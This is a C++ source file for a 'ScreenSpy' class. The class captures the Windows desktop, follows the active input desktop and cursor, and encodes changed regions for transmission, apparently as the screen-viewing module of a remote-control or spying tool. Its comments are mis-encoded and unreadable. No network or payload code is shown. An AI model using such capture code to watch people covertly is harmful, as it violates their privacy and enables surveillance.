500 lines
13 KiB
C++
500 lines
13 KiB
C++
// ScreenSpy.cpp: implementation of the CScreenSpy class.
|
||
//
|
||
//////////////////////////////////////////////////////////////////////
|
||
#include "ScreenSpy.h"
|
||
|
||
#define RGB2GRAY(r,g,b) (((b)*117 + (g)*601 + (r)*306) >> 10)
|
||
|
||
#define DEF_STEP 13
|
||
#define OFF_SET 16
|
||
|
||
LONG CScreenSpy::nOldCursorPosX = 0;
|
||
LONG CScreenSpy::nOldCursorPosY = 0;
|
||
|
||
//////////////////////////////////////////////////////////////////////
|
||
// Construction/Destruction
|
||
//////////////////////////////////////////////////////////////////////
|
||
|
||
#ifdef _CONSOLE
|
||
#include <stdio.h>
|
||
#endif
|
||
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
|
||
{
|
||
switch (biBitCount)
|
||
{
|
||
case 1:
|
||
case 4:
|
||
case 8:
|
||
case 16:
|
||
case 32:
|
||
m_biBitCount = biBitCount;
|
||
break;
|
||
default:
|
||
m_biBitCount = 8;
|
||
}
|
||
|
||
if (!SelectInputWinStation0())
|
||
{
|
||
m_hDeskTopWnd = GetDesktopWindow();
|
||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||
}
|
||
|
||
m_dwBitBltRop = SRCCOPY;
|
||
|
||
m_bAlgorithm = ALGORITHM_SCAN; // ĬÈÏʹÓøôÐÐɨÃèËã·¨
|
||
m_dwLastCapture = GetTickCount();
|
||
m_nMaxFrameRate = nMaxFrameRate;
|
||
m_dwSleep = 1000 / nMaxFrameRate;
|
||
m_bIsGray = bIsGray;
|
||
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
|
||
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
|
||
m_nIncSize = 32 / m_biBitCount;
|
||
|
||
m_nStartLine = 0;
|
||
|
||
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
|
||
m_hLineMemDC = ::CreateCompatibleDC(NULL);
|
||
m_hRectMemDC = ::CreateCompatibleDC(NULL);
|
||
m_lpvLineBits = NULL;
|
||
m_lpvFullBits = NULL;
|
||
|
||
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
|
||
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
|
||
|
||
m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);
|
||
m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);
|
||
m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);
|
||
|
||
::SelectObject(m_hFullMemDC, m_hFullBitmap);
|
||
::SelectObject(m_hLineMemDC, m_hLineBitmap);
|
||
::SelectObject(m_hDiffMemDC, m_hDiffBitmap);
|
||
|
||
::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);
|
||
|
||
// ×ã¹»ÁË
|
||
m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];
|
||
m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;
|
||
|
||
m_rectBufferOffset = 0;
|
||
}
|
||
|
||
CScreenSpy::~CScreenSpy()
|
||
{
|
||
::ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||
::DeleteDC(m_hLineMemDC);
|
||
::DeleteDC(m_hFullMemDC);
|
||
::DeleteDC(m_hRectMemDC);
|
||
::DeleteDC(m_hDiffMemDC);
|
||
|
||
::DeleteObject(m_hLineBitmap);
|
||
::DeleteObject(m_hFullBitmap);
|
||
::DeleteObject(m_hDiffBitmap);
|
||
|
||
if (m_rectBuffer)
|
||
delete[] m_rectBuffer;
|
||
delete[] m_lpbmi_full;
|
||
delete[] m_lpbmi_line;
|
||
delete[] m_lpbmi_rect;
|
||
}
|
||
|
||
|
||
bool SwitchInputDesktop0()
|
||
{
|
||
BOOL bRet = false;
|
||
DWORD dwLengthNeeded;
|
||
|
||
HDESK hOldDesktop, hNewDesktop;
|
||
TCHAR strCurrentDesktop[256], strInputDesktop[256];
|
||
|
||
hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
|
||
memset(strCurrentDesktop, 0, sizeof(strCurrentDesktop));
|
||
GetUserObjectInformation(hOldDesktop, UOI_NAME, &strCurrentDesktop, sizeof(strCurrentDesktop), &dwLengthNeeded);
|
||
|
||
|
||
hNewDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
|
||
memset(strInputDesktop, 0, sizeof(strInputDesktop));
|
||
GetUserObjectInformation(hNewDesktop, UOI_NAME, &strInputDesktop, sizeof(strInputDesktop), &dwLengthNeeded);
|
||
|
||
if (lstrcmpi(strInputDesktop, strCurrentDesktop) != 0)
|
||
{
|
||
SetThreadDesktop(hNewDesktop);
|
||
bRet = true;
|
||
}
|
||
CloseDesktop(hOldDesktop);
|
||
|
||
CloseDesktop(hNewDesktop);
|
||
|
||
|
||
return bRet;
|
||
}
|
||
|
||
bool CScreenSpy::SelectInputWinStation0()
|
||
{
|
||
bool bRet = ::SwitchInputDesktop0();
|
||
if (bRet)
|
||
{
|
||
ReleaseDC(m_hDeskTopWnd, m_hFullDC);
|
||
m_hDeskTopWnd = GetDesktopWindow();
|
||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||
}
|
||
return bRet;
|
||
}
|
||
|
||
|
||
LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
|
||
{
|
||
if (lpdwBytes == NULL || m_rectBuffer == NULL)
|
||
return NULL;
|
||
|
||
SelectInputWinStation0();
|
||
|
||
// ÖØÖÃrect»º³åÇøÖ¸Õë
|
||
m_rectBufferOffset = 0;
|
||
|
||
// дÈëʹÓÃÁËÄÄÖÖËã·¨
|
||
WriteRectBuffer((LPBYTE)&m_bAlgorithm, sizeof(m_bAlgorithm));
|
||
|
||
// дÈë¹â±êλÖÃ
|
||
POINT CursorPos;
|
||
GetCursorPos(&CursorPos);
|
||
WriteRectBuffer((LPBYTE)&CursorPos, sizeof(POINT));
|
||
|
||
// дÈ뵱ǰ¹â±êÀàÐÍ
|
||
BYTE bCursorIndex = m_CursorInfo.getCurrentCursorIndex();
|
||
WriteRectBuffer(&bCursorIndex, sizeof(BYTE));
|
||
|
||
// ²îÒì±È½ÏËã·¨
|
||
if (m_bAlgorithm == ALGORITHM_DIFF)
|
||
{
|
||
// ·Ö¶ÎɨÃèÈ«ÆÁÄ»
|
||
ScanScreen(m_hDiffMemDC, m_hFullDC, m_lpbmi_full->bmiHeader.biWidth, m_lpbmi_full->bmiHeader.biHeight);
|
||
*lpdwBytes = m_rectBufferOffset +
|
||
Compare((LPBYTE)m_lpvDiffBits, (LPBYTE)m_lpvFullBits, m_rectBuffer + m_rectBufferOffset, m_lpbmi_full->bmiHeader.biSizeImage);
|
||
return m_rectBuffer;
|
||
}
|
||
|
||
// Êó±êλÖ÷¢±ä»¯²¢ÇÒÈȵãÇøÓòÈç¹û·¢Éú±ä»¯£¬ÒÔ(·¢Éú±ä»¯µÄÐÐ + DEF_STEP)ÏòÏÂɨÃè
|
||
// ÏòÉÏÌá
|
||
for (int i = m_nStartLine; i < m_nFullHeight; i += DEF_STEP+1)
|
||
ScanChangedRect(i);
|
||
|
||
*lpdwBytes = m_rectBufferOffset;
|
||
m_nStartLine = (m_nStartLine + 3) % (DEF_STEP+1);
|
||
|
||
if ( nOldCursorPosX != CursorPos.x || nOldCursorPosY != CursorPos.y || *lpdwBytes != 10)
|
||
{
|
||
nOldCursorPosX = CursorPos.x;
|
||
nOldCursorPosY = CursorPos.y;
|
||
}
|
||
else
|
||
{
|
||
*lpdwBytes = 0;
|
||
}
|
||
|
||
// ÏÞÖÆ·¢ËÍÖ¡µÄËÙ¶È
|
||
while (GetTickCount() - m_dwLastCapture < m_dwSleep)
|
||
Sleep(50);
|
||
InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
|
||
|
||
return m_rectBuffer;
|
||
}
|
||
|
||
|
||
|
||
bool CScreenSpy::ScanChangedRect(int nStartLine)
|
||
{
|
||
bool bRet = false;
|
||
LPDWORD p1, p2;
|
||
::BitBlt(m_hLineMemDC, 0, 0, m_nFullWidth, 1, m_hFullDC, 0, nStartLine, m_dwBitBltRop);
|
||
// 0 ÊÇ×îºóÒ»ÐÐ
|
||
p1 = (PDWORD)((DWORD)m_lpvFullBits + ((m_nFullHeight - 1 - nStartLine) * m_nDataSizePerLine));
|
||
p2 = (PDWORD)m_lpvLineBits;
|
||
::SetRect(&m_changeRect, -1, nStartLine - DEF_STEP, -1, nStartLine + DEF_STEP);
|
||
|
||
int nTotal_BitWidth = m_nFullWidth * m_biBitCount;
|
||
int nchBitWidth = (((nTotal_BitWidth & 7) + nTotal_BitWidth) >> 3) >> 2;
|
||
|
||
for (int i = 0; i < nchBitWidth; ++i)
|
||
{
|
||
if ( *(p1+i) != *(p2+i) )
|
||
{
|
||
if (m_changeRect.right < 0)
|
||
m_changeRect.left = 32 * i / m_biBitCount - OFF_SET;
|
||
m_changeRect.right = 32 * i / m_biBitCount + OFF_SET;
|
||
|
||
if (m_biBitCount > 2)
|
||
i = i + m_biBitCount / 2 - 1;
|
||
}
|
||
}
|
||
|
||
if (m_changeRect.right > -1)
|
||
{
|
||
m_changeRect.left = max(m_changeRect.left, 0);
|
||
m_changeRect.top = max(m_changeRect.top, 0);
|
||
m_changeRect.right = min(m_changeRect.right, m_nFullWidth);
|
||
m_changeRect.bottom = min(m_changeRect.bottom, m_nFullHeight);
|
||
|
||
// ¸´ÖƸıäµÄÇøÓò
|
||
CopyRect(&m_changeRect);
|
||
bRet = true;
|
||
}
|
||
|
||
return bRet;
|
||
}
|
||
|
||
void CScreenSpy::setAlgorithm(UINT nAlgorithm)
|
||
{
|
||
InterlockedExchange((LPLONG)&m_bAlgorithm, nAlgorithm);
|
||
}
|
||
|
||
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
|
||
{
|
||
/*
|
||
biBitCount Ϊ1 (ºÚ°×¶þɫͼ) ¡¢4 (16 ɫͼ) ¡¢8 (256 ɫͼ) ʱÓÉÑÕÉ«±íÏîÊýÖ¸³öÑÕÉ«±í´óС
|
||
biBitCount Ϊ16 (16 λɫͼ) ¡¢24 (Õæ²Êɫͼ, ²»Ö§³Ö) ¡¢32 (32 λɫͼ) ʱûÓÐÑÕÉ«±í
|
||
*/
|
||
int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;
|
||
|
||
int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||
BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];
|
||
|
||
BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);
|
||
lpbmih->biSize = sizeof(BITMAPINFOHEADER);
|
||
lpbmih->biWidth = biWidth;
|
||
lpbmih->biHeight = biHeight;
|
||
lpbmih->biPlanes = 1;
|
||
lpbmih->biBitCount = biBitCount;
|
||
lpbmih->biCompression = BI_RGB;
|
||
lpbmih->biXPelsPerMeter = 0;
|
||
lpbmih->biYPelsPerMeter = 0;
|
||
lpbmih->biClrUsed = 0;
|
||
lpbmih->biClrImportant = 0;
|
||
lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;
|
||
|
||
// 16λºÍÒÔºóµÄûÓÐÑÕÉ«±í£¬Ö±½Ó·µ»Ø
|
||
if (biBitCount >= 16)
|
||
return lpbmi;
|
||
/*
|
||
Windows 95ºÍWindows 98£ºÈç¹ûlpvBits²ÎÊýΪNULL²¢ÇÒGetDIBits³É¹¦µØÌî³äÁËBITMAPINFO½á¹¹£¬ÄÇô·µ»ØÖµÎªÎ»Í¼ÖÐ×ܹ²µÄɨÃèÏßÊý¡£
|
||
|
||
Windows NT£ºÈç¹ûlpvBits²ÎÊýΪNULL²¢ÇÒGetDIBits³É¹¦µØÌî³äÁËBITMAPINFO½á¹¹£¬ÄÇô·µ»ØÖµÎª·Ç0¡£Èç¹ûº¯ÊýÖ´ÐÐʧ°Ü£¬ÄÇô½«·µ»Ø0Öµ¡£Windows NT£ºÈôÏë»ñµÃ¸ü¶à´íÎóÐÅÏ¢£¬Çëµ÷ÓÃcallGetLastErrorº¯Êý¡£
|
||
*/
|
||
|
||
HDC hDC = GetDC(NULL);
|
||
HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // ¸ß¿í²»ÄÜΪ0
|
||
GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);
|
||
ReleaseDC(NULL, hDC);
|
||
DeleteObject(hBmp);
|
||
|
||
if (m_bIsGray)
|
||
{
|
||
for (int i = 0; i < color_num; i++)
|
||
{
|
||
int color = RGB2GRAY(lpbmi->bmiColors[i].rgbRed, lpbmi->bmiColors[i].rgbGreen, lpbmi->bmiColors[i].rgbBlue);
|
||
lpbmi->bmiColors[i].rgbRed = lpbmi->bmiColors[i].rgbGreen = lpbmi->bmiColors[i].rgbBlue = color;
|
||
}
|
||
}
|
||
|
||
return lpbmi;
|
||
}
|
||
|
||
void CScreenSpy::WriteRectBuffer(LPBYTE lpData, int nCount)
|
||
{
|
||
memcpy(m_rectBuffer + m_rectBufferOffset, lpData, nCount);
|
||
m_rectBufferOffset += nCount;
|
||
}
|
||
|
||
LPVOID CScreenSpy::getFirstScreen()
|
||
{
|
||
::BitBlt(m_hFullMemDC, 0, 0, m_nFullWidth, m_nFullHeight, m_hFullDC, 0, 0, m_dwBitBltRop);
|
||
return m_lpvFullBits;
|
||
}
|
||
|
||
void CScreenSpy::CopyRect( LPRECT lpRect )
|
||
{
|
||
int nRectWidth = lpRect->right - lpRect->left;
|
||
int nRectHeight = lpRect->bottom - lpRect->top;
|
||
|
||
LPVOID lpvRectBits = NULL;
|
||
// µ÷Õûm_lpbmi_rect
|
||
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
|
||
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
|
||
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
|
||
* m_lpbmi_rect->bmiHeader.biHeight;
|
||
|
||
|
||
HBITMAP hRectBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_rect, DIB_RGB_COLORS, &lpvRectBits, NULL, NULL);
|
||
::SelectObject(m_hRectMemDC, hRectBitmap);
|
||
::BitBlt(m_hFullMemDC, lpRect->left, lpRect->top, nRectWidth, nRectHeight, m_hFullDC, lpRect->left, lpRect->top, m_dwBitBltRop);
|
||
::BitBlt(m_hRectMemDC, 0, 0, nRectWidth, nRectHeight, m_hFullMemDC, lpRect->left, lpRect->top, SRCCOPY);
|
||
|
||
WriteRectBuffer((LPBYTE)lpRect, sizeof(RECT));
|
||
WriteRectBuffer((LPBYTE)lpvRectBits, m_lpbmi_rect->bmiHeader.biSizeImage);
|
||
|
||
DeleteObject(hRectBitmap);
|
||
}
|
||
|
||
UINT CScreenSpy::getFirstImageSize()
|
||
{
|
||
return m_lpbmi_full->bmiHeader.biSizeImage;
|
||
}
|
||
|
||
|
||
void CScreenSpy::setCaptureLayer(bool bIsCaptureLayer)
|
||
{
|
||
DWORD dwRop = SRCCOPY;
|
||
if (bIsCaptureLayer)
|
||
dwRop |= CAPTUREBLT;
|
||
InterlockedExchange((LPLONG)&m_dwBitBltRop, dwRop);
|
||
}
|
||
|
||
LPBITMAPINFO CScreenSpy::getBI()
|
||
{
|
||
return m_lpbmi_full;
|
||
}
|
||
|
||
UINT CScreenSpy::getBISize()
|
||
{
|
||
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
|
||
|
||
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
|
||
}
|
||
|
||
|
||
void CScreenSpy::ScanScreen( HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight)
|
||
{
|
||
int nJumpLine = 50;
|
||
int nJumpSleep = nJumpLine / 10; // ɨÃè¼ä¸ô
|
||
// ɨÃèÆÁÄ»
|
||
for (int i = 0, nToJump = 0; i < nHeight; i += nToJump)
|
||
{
|
||
int nOther = nHeight - i;
|
||
|
||
if (nOther > nJumpLine)
|
||
nToJump = nJumpLine;
|
||
else
|
||
nToJump = nOther;
|
||
BitBlt(hdcDest, 0, i, nWidth, nToJump, hdcSrc, 0, i, m_dwBitBltRop);
|
||
Sleep(nJumpSleep);
|
||
}
|
||
}
|
||
|
||
// ²îÒì±È½ÏËã·¨¿éµÄº¯Êý
|
||
int CScreenSpy::Compare( LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize )
|
||
{
|
||
// Windows¹æ¶¨Ò»¸öɨÃèÐÐËùÕ¼µÄ×Ö½ÚÊý±ØÐëÊÇ4µÄ±¶Êý, ËùÒÔÓÃDWORD±È½Ï
|
||
// LPDWORD p1, p2;
|
||
// p1 = (LPDWORD)lpDest;
|
||
// p2 = (LPDWORD)lpSource;
|
||
//
|
||
// // Æ«ÒÆµÄÆ«ÒÆ£¬²»Í¬³¤¶ÈµÄÆ«ÒÆ
|
||
// int nOffsetOffset = 0, nBytesOffset = 0, nDataOffset = 0;
|
||
// int nCount = 0; // Êý¾Ý¼ÆÊýÆ÷
|
||
// // p1++ʵ¼ÊÉÏÊǵÝÔöÁËÒ»¸öDWORD
|
||
// for (DWORD i = 0; i < dwSize; i += 4, p1++, p2++)
|
||
// {
|
||
// if (*p1 == *p2)
|
||
// continue;
|
||
// // Ò»¸öÐÂÊý¾Ý¿é¿ªÊ¼
|
||
// // дÈëÆ«ÒÆµØÖ·
|
||
// *(LPDWORD)(lpBuffer + nOffsetOffset) = i;
|
||
// // ¼Ç¼Êý¾Ý´óСµÄ´æ·ÅλÖÃ
|
||
// nBytesOffset = nOffsetOffset + sizeof(int);
|
||
// nDataOffset = nBytesOffset + sizeof(int);
|
||
// nCount = 0; // Êý¾Ý¼ÆÊýÆ÷¹éÁã
|
||
//
|
||
// // ¸üÐÂDestÖеÄÊý¾Ý
|
||
// *p1 = *p2;
|
||
// *(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
|
||
//
|
||
// nCount += 4;
|
||
// i += 4, p1++, p2++;
|
||
//
|
||
// for (DWORD j = i; j < dwSize; j += 4, i += 4, p1++, p2++)
|
||
// {
|
||
// if (*p1 == *p2)
|
||
// break;
|
||
//
|
||
// // ¸üÐÂDestÖеÄÊý¾Ý
|
||
// *p1 = *p2;
|
||
// *(LPDWORD)(lpBuffer + nDataOffset + nCount) = *p2;
|
||
// nCount += 4;
|
||
// }
|
||
// // дÈëÊý¾Ý³¤¶È
|
||
// *(LPDWORD)(lpBuffer + nBytesOffset) = nCount;
|
||
// nOffsetOffset = nDataOffset + nCount;
|
||
// }
|
||
//
|
||
// // nOffsetOffset ¾ÍÊÇдÈëµÄ×Ü´óС
|
||
// return nOffsetOffset;
|
||
|
||
//¸Ð¾õ»ã±àËÙ¶È»¹Ã»ÓÐCËã·¨¿ì£¬ÓôÃÆÀ´×Å
|
||
int Bytes = 0;
|
||
__asm
|
||
{
|
||
mov esi, [lpSource]
|
||
mov edi, [lpDest]
|
||
mov ebx, [lpBuffer]
|
||
xor ecx, ecx
|
||
jmp short Loop_Compare // ¿ªÊ¼½øÐбȽÏ
|
||
Loop_Compare_Continue:
|
||
mov eax, dword ptr [esi]
|
||
cmp eax, dword ptr [edi]
|
||
je short Loop_Compare_Equal // Èç¹ûÏàµÈ, ¼ÌÐø±È½Ï
|
||
mov [edi], eax // дÈ벻ͬµÄÊý¾Ýµ½Ä¿±êÖÐ
|
||
mov edx, ebx // edx ¼Ç¼µÚÒ»¸ö²»Í¬ÇøÓò¿éµÄÆðʼλÖÃ
|
||
mov dword ptr [ebx], ecx
|
||
add ebx, 8
|
||
mov dword ptr [ebx], eax
|
||
add ebx, 4
|
||
add esi, 4
|
||
add edi, 4
|
||
add ecx, 4
|
||
jmp short Loop_Block_Compare // Êý¾Ý²»Í¬£¬²úÉúÒ»¸öÇø¿é£¬¶ÔÕâ¸öÇø¿é½øÐбȽÏ
|
||
Loop_Block_Compare_Continue:
|
||
mov eax, dword ptr [esi]
|
||
cmp eax, dword ptr [edi]
|
||
jnz short Loop_Block_Compare_Not_Equal // Êý¾Ý²»ÏàµÈ£¬Ð´Èë
|
||
mov eax, ecx
|
||
sub eax, dword ptr [edx]
|
||
add edx, 4
|
||
mov dword ptr [edx], eax
|
||
add eax, 8
|
||
add [Bytes], eax
|
||
add esi, 4
|
||
add edi, 4
|
||
add ecx, 4
|
||
jmp short Loop_Block_Compare_Finish
|
||
Loop_Block_Compare_Not_Equal:
|
||
mov dword ptr [ebx], eax
|
||
mov [edi], eax // дÈ벻ͬµÄÊý¾Ýµ½Ä¿±êÖÐ
|
||
add ebx, 4
|
||
add esi, 4
|
||
add edi, 4
|
||
add ecx, 4
|
||
Loop_Block_Compare:
|
||
cmp ecx, [dwSize]
|
||
jb short Loop_Block_Compare_Continue
|
||
Loop_Block_Compare_Finish:
|
||
cmp ecx, [dwSize]
|
||
jnz short Loop_Compare
|
||
mov eax, ecx
|
||
sub eax, dword ptr [edx]
|
||
add edx, 4
|
||
mov dword ptr [edx], eax
|
||
add eax, 8
|
||
add [Bytes], eax
|
||
jmp short Loop_Compare
|
||
Loop_Compare_Equal:
|
||
add esi, 4
|
||
add edi, 4
|
||
add ecx, 4
|
||
Loop_Compare:
|
||
cmp ecx, [dwSize]
|
||
jb short Loop_Compare_Continue
|
||
}
|
||
return Bytes;
|
||
}
|